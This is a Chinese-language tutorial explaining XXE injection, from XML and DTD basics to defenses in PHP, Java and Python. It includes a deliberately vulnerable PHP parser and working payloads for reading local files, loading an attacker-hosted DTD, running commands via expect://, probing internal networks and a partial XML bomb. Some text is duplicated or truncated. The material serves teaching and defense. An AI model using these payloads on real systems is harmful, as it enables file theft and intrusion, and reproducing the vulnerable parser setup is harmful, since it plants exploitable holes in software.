
XXE(XML外部实体注入)
一、XXE 漏洞是什么:
XXE 漏洞全称:XML External Entity Injection,即 XML 外部实体 注入漏洞。XXE 漏洞发生在应用程序解析 XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起 Dos攻击等危害。
二、XML基础知识:
想要了解 XXE漏洞,需要先了解一下关于 XML的基础知识。
1、XML是什么?
XML全称:可扩展标记语言(Extensible Markup Language)。
XML是独立于软件和硬件的信息传输工具,它把数据从HTML中分离。 XML语言没有预定义的标签,需要作者定义自己的标签和自己的文档结构。
XML 被设计用来传输和存储数据,HTML 被设计用来显示数据。
2、XML文档结构:
XML文档结构包括:
XML声明
DTD 文档类型定义(可选)
文档元素
示例代码:
其中 DTD (Document Type Definition)即 文档类型定义 部分 定义了XML文档的标签以及元素属性。
如上图中的DTD 就定义了XML的根元素为 note,然后根元素下面有一些子元素 (to,from,heading,body),那么下面的文档元素就可以使用这些元素:
<note><to>Dave</to>
<from>Tom</from>
<head>Reminder</head> <body>You are a good man</body> </note>注:
PCDATA:可被解析的字符数据。PCDATA 数据类型是会被解析器解析的文本。这些文本将被解析器检查 实体 以及 标记。文本中的标签会被当作标记来处理,而实体会被展开。与之对应的是CDATA
CDATA:不被解析的字符数据,CDATA 数据类型是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对 待,其中的实体也不会被展开。
DTD声明方式:
其中DTD有两种构建方式,分别为内部 DTD声明和外部 DTD声明。
1、内部DTD声明:
声明格式:
<!DOCTYPE 根元素 [元素声明]>如 上例使用就是内部 DTD声明。
2、外部DTD声明:
通过引入 dtd文件的方式进行声明(这一点和 css,javascript 很像)。
声明格式:
<!DOCTYPE 根元素 SYSTEM "文件名">例:
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "test.dtd"> <note><to>H</to>
<from>E</from>
<head>L</head> <body>LO</body> </note>test.dtd:
<!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT head (#PCDATA)> <!ELEMENT body (#PCDATA)>说完了 DTD的两种引入方式,终于到了关键人物:" 实体 " 登场了。
实体的声明:
实体定义在 DTD声明中,
例:
这里定义元素为 ANY ,表示可以接受任何元素作为标签,这里的 "xxe" 就是我们所说的实体了(相当于一个变量),可以在XML文档元素中使用 & 符号对实体进行引用。
例:
<sss><user>&xxe;</user>
<pass>pass</pass>
</sss>到时候输出的时候 &xxe; 就会被 hello 替换。
实体的分类:
1、按声明位置分(和上面的内外部引入DTD声明不同,别弄混了):
实体是定义在 DTD 中的,可分为 外部实体 和 内部实体,上面的例子就是内部实体,外部实体就是把实体定义在外部文件中。
实体的分类:
1、按声明位置分(和上面的内外部引入DTD声明不同,别弄混了):
实体是定义在 DTD 中的,可分为 外部实体 和 内部实体,上面的例子就是内部实体,外部实体就是把实体定义在外部文件中。
例:
<?xml version="1.0"?> <!DOCTYPE sss [ <!ELEMENT sss ANY > <!ENTITY xxe SYSTEM "file:///D:/test.dtd" > //引入外部dtd文件]>
<sss><user>&xxe;</user>
<pass>pass</pass>
</sss>
这样当需要更改实体的值时,只需要更改外部的 dtd 文件就行,不需要打开源码更改了(降低了耦合性),但也带来了安全漏洞。
外部实体支持http、file等协议。不同程序支持的协议不同:
2、按类型分:
实体又分为通用实体和参数实体。
1、通用实体:
用 &实体名;引用,在DTD 中定义(内外DTD都行),在 XML文档元素中引用。
上面的例子都是通用实体。
2、参数实体:
使用 % 实体名(中间有空格) 在DTD中定义(内外DTD都行),并且只能在DTD中使用 %实体名; 引用。
在 DTD 文件中,参数实体的声明可以引用其他实体(参数实体和通用实体)。
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds; ?>构造payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE c [ - <!ENTITY a SYSTEM "file:///c:/windows/system.ini"> ]><c> &a ;</c>
可以看到,成功读取到了 C盘下的 system.ini 文件,此漏洞就是 任意文件读取漏洞。
四、XXE漏洞常见的危害:
1、任意文件读取:
构造任意文件读取漏洞 playload 有下面几种方法:
方式一、直接通过外部实体声明:
XML内容:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd">]>
上面的例子就是此方式,这是最简单的XXE漏洞利用。
方式二、外部实体声明 (通用实体)+ 外部 DTD文件:
XML内容:
<?xml version="1.0"?> <!DOCTYPE a SYSTEM "http://XXX/test.dtd">注意:这里的 http://XXX/test.dtd 是攻击者自己服务器上的文件。
test.dtd 内容:
<!ENTITY b SYSTEM "file:///etc/passwd">示例(使用的是 xxe-labs 靶场的php环境):![image.png]
因为这里使用windows演示的,所以读取的是 system.ini 文件,可以看到成功的读取到了。
方式三、外部实体声明(参数实体) + 引入外部实体声明:
因为参数实体可以嵌套别的实体,所以产生了这种方式。
<?xml version="1.0"?> <!DOCTYPE a[ <!ENTITY % d SYSTEM "http://XXX/test.dtd">%d;
]>
<c>&b;</c>
test.dtd 内容:
<!ENTITY b SYSTEM "file:///etc/passwd">示例:
注意这种方式必须要先引用 参数实体,才能引用通用实体,且缺一不可。
2、命令执行:
在安装 expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
因为PHP的 expect 并不是默认安装扩展,所以命令执行比较难利用,但不排除有幸运的情况。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://cat /" >]> <root><name>&xxe;</name>
</root>3、内网探测:
XML 外部实体中是可以使用http://协议,可以利用该请求去探查内网。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]> <root><name>&xxe;</name>
</root>4、攻击内网网站:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]> <root><name>&xxe;</name>
</root>5、发起Dos攻击:
几乎所有可以控制服务器资源利用的东西,都可用于制造DOS攻击。通过XML外部实体注入,攻击者可以发送任意的HTTP请求,因为解析器会解析文档中的所有实体,所以如果实体声明层层嵌套的话,在一定数量上可以对服务器器造成DoS。
常见的XML炸弹:
]>
<lolz>&lol9;</lolz>
攻击原理:XML解析器尝试解析该文件时,DTD中的实体会以指数级的数量级展开,lol 实体为 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 102 个 “lol” 了,以此类推,lol9 实体含有 108 个 “lol” 字符串,所以这个1K不到的文件经过解析后会占用到3G的内存,可见有多恐怖,不过现代的服务器软硬件大多已经抵御了此类攻击。
防御XML炸弹的方法也很简单禁止DTD或者是限制每个实体的最大长度。
五、XXE 如何防御:
方式一、使用开发语言提供的禁用外部实体的方法:
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方式二、过滤用户输入:
过滤用户提交的XML数据 ,关键词:<!DOCTYPE>、<!ENTITY>、SYSTEM、PUBLIC。